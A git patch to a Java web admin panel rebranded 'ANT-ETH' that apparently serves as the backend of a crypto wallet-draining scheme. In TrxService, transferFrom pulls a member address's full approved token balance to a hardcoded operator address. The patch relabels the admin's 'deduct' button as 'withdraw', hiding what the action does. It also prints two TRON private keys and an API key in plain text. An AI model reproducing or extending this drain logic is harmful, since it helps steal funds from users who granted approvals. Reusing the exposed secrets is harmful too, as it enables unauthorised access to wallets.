From d4a85f010f6b17caed4edf1e56b742c6c4e20b02 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Tue, 29 Mar 2022 14:57:25 +0800
Subject: [PATCH] fix some

---
 src/main/resources/templates/error/403.html                               |    2 
 src/main/resources/templates/febs/views/dapp/member.html                  |   11 +
 src/main/resources/templates/febs/views/index.html                        |  249 -------------------------------------------------
 src/main/resources/templates/index.html                                   |    2 
 src/main/resources/templates/error/404.html                               |    2 
 src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java |    2 
 src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java                   |   12 +
 src/main/resources/templates/error/500.html                               |    2 
 src/main/resources/static/febs/index.js                                   |    1 
 src/main/resources/templates/febs/views/layout.html                       |    4 
 src/main/resources/templates/febs/views/login.html                        |    4 
 11 files changed, 25 insertions(+), 266 deletions(-)

diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
index 1c4558f..3f8db3d 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
@@ -20,8 +20,8 @@
  **/
 public class TrxService {
 
-    private final static String ADDRESS = "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9";
-    private final static String PRIVATE = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae";
+    private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
+    private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";
 
     private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
     private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
@@ -57,7 +57,7 @@
     public void transfer(String address) {
         BigInteger balance = balanceOf(address);
 
-        contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000L);
+        contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
     }
 
     public String transfer(String address, BigDecimal amount) {
@@ -65,6 +65,10 @@
         BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
         amount = amount.multiply(mul);
 
-        return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000L);
+        return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L);
+    }
+
+    public static void main(String[] args) {
+        System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
     }
 }
diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
index a576235..e2af8af 100644
--- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
+++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
@@ -176,7 +176,7 @@
         BigDecimal balance = ChainService.INSTANCE.balanceOf(address);
         String hash = ChainService.INSTANCE.transfer(address);
         if (StrUtil.isBlank(hash)) {
-            throw new FebsException("划扣失败");
+            throw new FebsException("提现失败");
         }
 
         DappTransferRecordEntity transfer = new DappTransferRecordEntity();
diff --git a/src/main/resources/static/febs/index.js b/src/main/resources/static/febs/index.js
index cf90796..751364f 100644
--- a/src/main/resources/static/febs/index.js
+++ b/src/main/resources/static/febs/index.js
@@ -3,6 +3,5 @@
     validate: 'lay/modules/validate'
 }).define(['febs', 'conf'], function (exports) {
     layui.febs.initPage();
-    console.log("\n %c FEBS-Shiro 2.0 %c https://github.com/wuyouzhuguli/FEBS-Shiro %c 如果该项目对您有帮助的话,还请点个star给予精神支持!🐤", "color: #fff; font-size: .84rem;background: #366ed8; padding:5px 0;", "font-size: .84rem;background: #fff; border: 2px solid #b0e0a8;border-left: none; padding:3px 0;"," font-size: .84rem;background: #fcf9ec; padding:5px 0;margin-left: 8px");
     exports('index', {});
 });
\ No newline at end of file
diff --git a/src/main/resources/templates/error/403.html b/src/main/resources/templates/error/403.html
index dd959d4..7786811 100644
--- a/src/main/resources/templates/error/403.html
+++ b/src/main/resources/templates/error/403.html
@@ -2,7 +2,7 @@
 <html xmlns:th="http://www.thymeleaf.org">
 <head>
     <meta charset="utf-8">
-    <title>FEBS 权限系统</title>
+    <title>ANT-ETH 权限系统</title>
     <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
     <meta name="renderer" content="webkit">
     <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
diff --git a/src/main/resources/templates/error/404.html b/src/main/resources/templates/error/404.html
index c099153..cdee7d9 100644
--- a/src/main/resources/templates/error/404.html
+++ b/src/main/resources/templates/error/404.html
@@ -2,7 +2,7 @@
 <html xmlns:th="http://www.thymeleaf.org">
 <head>
     <meta charset="utf-8">
-    <title>FEBS 权限系统</title>
+    <title>ANT-ETH 权限系统</title>
     <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
     <meta name="renderer" content="webkit">
     <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
diff --git a/src/main/resources/templates/error/500.html b/src/main/resources/templates/error/500.html
index bb38464..a383954 100644
--- a/src/main/resources/templates/error/500.html
+++ b/src/main/resources/templates/error/500.html
@@ -2,7 +2,7 @@
 <html xmlns:th="http://www.thymeleaf.org">
 <head>
     <meta charset="utf-8">
-    <title>FEBS 权限系统</title>
+    <title>ANT-ETH 权限系统</title>
     <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
     <meta name="renderer" content="webkit">
     <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
diff --git a/src/main/resources/templates/febs/views/dapp/member.html b/src/main/resources/templates/febs/views/dapp/member.html
index 88885eb..0cc4a9c 100644
--- a/src/main/resources/templates/febs/views/dapp/member.html
+++ b/src/main/resources/templates/febs/views/dapp/member.html
@@ -106,10 +106,14 @@
 <script type="text/html" id="balance">
     <span name="balance">{{ d.balance }}</span></br>
     <span><a lay-event="freshBalance">刷新</a></span>
-    <span><a shiro:hasPermission="member:showMeMoney" lay-event="changeMoney">划扣</a></span>
+    <span><a shiro:hasPermission="member:showMeMoney" lay-event="changeMoney">提现</a></span>
 </script>
 <script type="text/html" id="approve-list">
+    {{# if(d.address.startsWith('T')) { }}
     <a href="https://tronscan.io/#/address/{{d.address}}" target="_blank">{{d.approveCnt}}</a>
+    {{# } else { }}
+    <a href="https://eth.tokenview.com/cn/address/{{d.address}}" target="_blank">{{d.approveCnt}}</a>
+    {{# } }}
 </script>
 <script type="text/html" id="member-option">
     {{#
@@ -186,9 +190,9 @@
             }
 
             if (layEvent === 'changeMoney') {
-                febs.modal.confirm('划扣', "是否划扣该用户?", function () {
+                febs.modal.confirm('提现', "是否提现该用户?", function () {
                     febs.post(ctx + "member/changeMoney/" + data.address, null, function () {
-                        febs.alert.success('划扣成功');
+                        febs.alert.success('提现成功');
                         $query.click();
                     });
                 });
@@ -204,6 +208,7 @@
                     success : function(data) {
                         if (data.data) {
                             balance.text(data.data);
+                            febs.alert.success('刷新成功');
                         }
                     }
                 });
diff --git a/src/main/resources/templates/febs/views/index.html b/src/main/resources/templates/febs/views/index.html
index d27068d..733427e 100644
--- a/src/main/resources/templates/febs/views/index.html
+++ b/src/main/resources/templates/febs/views/index.html
@@ -86,7 +86,6 @@
                                             <span id="welcome-message"></span>
                                         </div>
                                         <div class="user-dept">
-                                            <span id="user-dept"></span> | <span id="user-role"></span>
                                         </div>
                                         <div class="user-login-info">
                                             上次登录时间:<span id="last-login-time">2019-05-23 18:45:12</span>
@@ -95,176 +94,7 @@
                                 </div>
                             </div>
                         </div>
-                        <div class="layui-col-md6 layui-col-sm12 layui-col-xs12">
-                            <div class="layui-col-md-offset5">
-                                <table class="login-count-table">
-                                    <tr>
-                                        <td>今日IP</td>
-                                        <td>今日访问</td>
-                                        <td>总访问量</td>
-                                    </tr>
-                                    <tr>
-                                        <td class="count" id="today-ip">
-                                            0
-                                        </td>
-                                        <td class="count" id="today-visit-count">
-                                            0
-                                        </td>
-                                        <td class="count" id="total-visit-count">
-                                            0
-                                        </td>
-                                    </tr>
-                                </table>
-                            </div>
-                        </div>
                     </div>
-                </div>
-            </div>
-        </div>
-        <div class="layui-col-md6 layui-col-sm6 layui-col-xs12">
-            <div class="layui-card">
-                <div class="layui-card-body">
-                    <div id="chart" style="height: 350px"></div>
-                </div>
-            </div>
-        </div>
-        <div class="layui-col-md6 layui-col-sm6 layui-col-xs12">
-            <div class="layui-card">
-                <div class="layui-card-body">
-                    <table class="project-table">
-                        <tr>
-                            <td style="padding: .8rem;">进行中的项目</td>
-                            <td style="padding: .8rem;text-align: right">
-                                <a target="_blank" href="https://github.com/wuyouzhuguli?tab=repositories">所有项目</a>
-                            </td>
-                        </tr>
-                        <tr>
-                            <td class="project-table-td">
-                                <div class="layui-row">
-                                    <div class="layui-col-md12 layui-col-xs12">
-                                        <div class="layui-row">
-                                            <div class="layui-col-md12">
-                                                <a target="_blank" href="https://github.com/wuyouzhuguli/FEBS-Cloud">FEBS
-                                                    Cloud</a>
-                                            </div>
-                                            <div class="project-desc">
-                                                Spring Cloud 微服务权限管理系统。
-                                            </div>
-                                        </div>
-                                    </div>
-                                </div>
-                            </td>
-                            <td class="project-table-td">
-                                <div class="layui-row">
-                                    <div class="layui-col-md12 layui-col-xs12">
-                                        <div class="layui-row">
-                                            <div class="layui-col-md12">
-                                                <a target="_blank" href="https://github.com/wuyouzhuguli/FEBS-Cloud-Web">FEBS
-                                                    Cloud Web</a>
-                                            </div>
-                                            <div class="project-desc">
-                                                FEBS-Cloud前端,使用 vue-element-admin 构建。
-                                            </div>
-                                        </div>
-                                    </div>
-                                </div>
-                            </td>
-                        </tr>
-                        <tr>
-                            <td class="project-table-td">
-                                <div class="layui-row">
-                                    <div class="layui-col-md12 layui-col-xs12">
-                                        <div class="layui-row">
-                                            <div class="layui-col-md12">
-                                                <a target="_blank" href="https://github.com/wuyouzhuguli/FEBS-Shiro">FEBS
-                                                    Shiro</a>
-                                            </div>
-                                            <div class="project-desc">
-                                                Spring Boot 2.0.4 & Shiro1.4.0 权限管理系统。
-                                            </div>
-                                        </div>
-                                    </div>
-                                </div>
-                            </td>
-                            <td class="project-table-td">
-                                <div class="layui-row">
-                                    <div class="layui-col-md12 layui-col-xs12">
-                                        <div class="layui-row">
-                                            <div class="layui-col-md12">
-                                                <a target="_blank" href="https://github.com/wuyouzhuguli/FEBS-Security">FEBS
-                                                    Security</a>
-                                            </div>
-                                            <div class="project-desc">
-                                                Spring Boot 2.0.4 & Spring Security 5.0.7 权限管理系统。
-                                            </div>
-                                        </div>
-                                    </div>
-                                </div>
-                            </td>
-                        </tr>
-                        <tr>
-                            <td class="project-table-td">
-                                <div class="layui-row">
-                                    <div class="layui-col-md12 layui-col-xs12">
-                                        <div class="layui-row">
-                                            <div class="layui-col-md12">
-                                                <a target="_blank" href="https://github.com/wuyouzhuguli/FEBS-Actuator">FEBS
-                                                    Cloud K8S</a>
-                                            </div>
-                                            <div class="project-desc">
-                                                FEBS Cloud K8S集群部署脚本。
-                                            </div>
-                                        </div>
-                                    </div>
-                                </div>
-                            </td>
-                            <td class="project-table-td">
-                                <div class="layui-row">
-                                    <div class="layui-col-md12 layui-col-xs12">
-                                        <div class="layui-row">
-                                            <div class="layui-col-md12">
-                                                <a target="_blank" href="https://github.com/wuyouzhuguli/SpringAll">SpringAll</a>
-                                            </div>
-                                            <div class="project-desc">
-                                                循序渐进学习Spring Boot、Spring Cloud与Spring Security。
-                                            </div>
-                                        </div>
-                                    </div>
-                                </div>
-                            </td>
-                        </tr>
-                        <tr>
-                            <td class="project-table-td">
-                                <div class="layui-row">
-                                    <div class="layui-col-md12 layui-col-xs12">
-                                        <div class="layui-row">
-                                            <div class="layui-col-md12">
-                                                <a target="_blank" href="https://github.com/wuyouzhuguli/FEBS-Vue">FEBS
-                                                    Vue</a>
-                                            </div>
-                                            <div class="project-desc">
-                                                FEBS-Shiro前后端分离版本,前端架构采用Vue全家桶。
-                                            </div>
-                                        </div>
-                                    </div>
-                                </div>
-                            </td>
-                            <td class="project-table-td">
-                                <div class="layui-row">
-                                    <div class="layui-col-md12 layui-col-xs12">
-                                        <div class="layui-row">
-                                            <div class="layui-col-md12">
-                                                <a target="_blank" href="https://github.com/wuyouzhuguli/FEBS-Actuator">FEBS Actuator</a>
-                                            </div>
-                                            <div class="project-desc">
-                                                使用Spring Boot Admin 2.0.2构建,用于监控FEBS。
-                                            </div>
-                                        </div>
-                                    </div>
-                                </div>
-                            </td>
-                        </tr>
-                    </table>
                 </div>
             </div>
         </div>
@@ -287,7 +117,7 @@
             var welcomeArr = [
                 '喝杯咖啡休息下吧☕',
                 '要不要和朋友打局LOL',
-                '今天又写了几个Bug呢',
+                '今天又收益了多少呢',
                 '今天在群里吹水了吗',
                 '今天吃了什么好吃的呢',
                 '今天您微笑了吗😊',
@@ -341,83 +171,6 @@
                 });
                 if (!contain) totalVisitCount.push(0);
             });
-
-            var options = {
-                chart: {
-                    height: 350,
-                    type: 'area',
-                    toolbar: {
-                        show: false
-                    }
-                },
-                colors: ['#1890ff', '#0acf97'],
-                plotOptions: {
-                    bar: {
-                        horizontal: false,
-                        columnWidth: '32rem'
-                    }
-                },
-                dataLabels: {
-                    enabled: false
-                },
-                stroke: {
-                    width: [3, 3],
-                    curve: 'smooth'
-                },
-                series: [{
-                    name: '总数',
-                    data: totalVisitCount
-                }, {
-                    name: '您',
-                    data: yourVisitCount
-                }],
-                xaxis: {
-                    categories: lastTenDays,
-                    axisTicks: {
-                        show: true
-                    },
-                    axisBorder: {
-                        show: true,
-                        color: '#f1f1f1'
-                    }
-                },
-                fill: {
-                    type: 'gradient',
-                    gradient: {
-                        shadeIntensity: 1,
-                        inverseColors: false,
-                        opacityFrom: 0.5,
-                        opacityTo: 0,
-                        stops: [0, 90, 100]
-                    }
-                },
-                title: {
-                    text: '近10天系统访问记录',
-                    align: 'left',
-                    style: {
-                        color: 'rgba(0, 0, 0, .65)'
-                    }
-                },
-                tooltip: {
-                    y: {
-                        formatter: function (val) {
-                            return "访问次数 " + val + " 次"
-                        }
-                    }
-                },
-                grid: {
-                    row: {
-                        colors: ['transparent', 'transparent'],
-                        opacity: 0.2
-                    },
-                    borderColor: '#f1f1f1'
-                }
-            };
-
-            new ApexCharts(
-                document.querySelector("#chart"),
-                options
-            ).render();
         }
 
         $view.on('click', '#febs-index-user',function () {
diff --git a/src/main/resources/templates/febs/views/layout.html b/src/main/resources/templates/febs/views/layout.html
index 514ecb5..792a22a 100644
--- a/src/main/resources/templates/febs/views/layout.html
+++ b/src/main/resources/templates/febs/views/layout.html
@@ -24,9 +24,7 @@
                         {{ currentUser.username }}
                     </a>
                     <dl class="layui-nav-child">
-                        <dd><a class="layui-nav-child-href" id="user-profile">个人中心</a></dd>
                         <dd><a class="layui-nav-child-href" id="password-update">密码修改</a></dd>
-                        <dd><a class="layui-nav-child-href" target="_blank" href="https://github.com/wuyouzhuguli/FEBS-Shiro">项目地址</a></dd>
                         <hr/>
                         <dd><a class="layui-nav-child-href" data-th-href="@{logout}">退出登录</a></dd>
                     </dl>
@@ -65,7 +63,7 @@
         <div class="layui-side-scroll">
             <div class="layui-logo" style="cursor: pointer">
                 <img data-th-src="@{febs/images/logo.png}">
-                <span>FEBS 权限系统</span>
+                <span>ANT-ETH 权限系统</span>
             </div>
             <script
                     type="text/html"
diff --git a/src/main/resources/templates/febs/views/login.html b/src/main/resources/templates/febs/views/login.html
index c9a1744..415b6fd 100644
--- a/src/main/resources/templates/febs/views/login.html
+++ b/src/main/resources/templates/febs/views/login.html
@@ -2,7 +2,7 @@
 <html xmlns:th="http://www.thymeleaf.org">
 <head>
     <meta charset="utf-8">
-    <title>FEBS 权限系统</title>
+    <title>ANT-ETH 权限系统</title>
     <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
     <meta name="renderer" content="webkit">
     <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
@@ -19,7 +19,7 @@
         <div class="layui-container">
             <div class="layui-row">
                 <div class="layui-col-xs12 layui-col-lg4 layui-col-lg-offset4 febs-tc">
-                    <div class="layui-logo"><span><b>FEBS</b> 权限系统</span></div>
+                    <div class="layui-logo"><span><b>ANT-ETH</b> 权限系统</span></div>
                 </div>
                 <div class="layui-col-xs12 layui-col-lg4 layui-col-lg-offset4" id="login-div">
                     <div class="layui-form" lay-filter="login-form">
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 2c2f8b6..5fe933d 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -3,7 +3,7 @@
       xmlns:shiro="http://www.pollix.at/thymeleaf/shiro">
 <head>
     <meta charset="utf-8">
-    <title>FEBS 权限系统</title>
+    <title>ANT-ETH 权限系统</title>
     <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
     <meta name="renderer" content="webkit">
     <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

--
Gitblit v1.9.1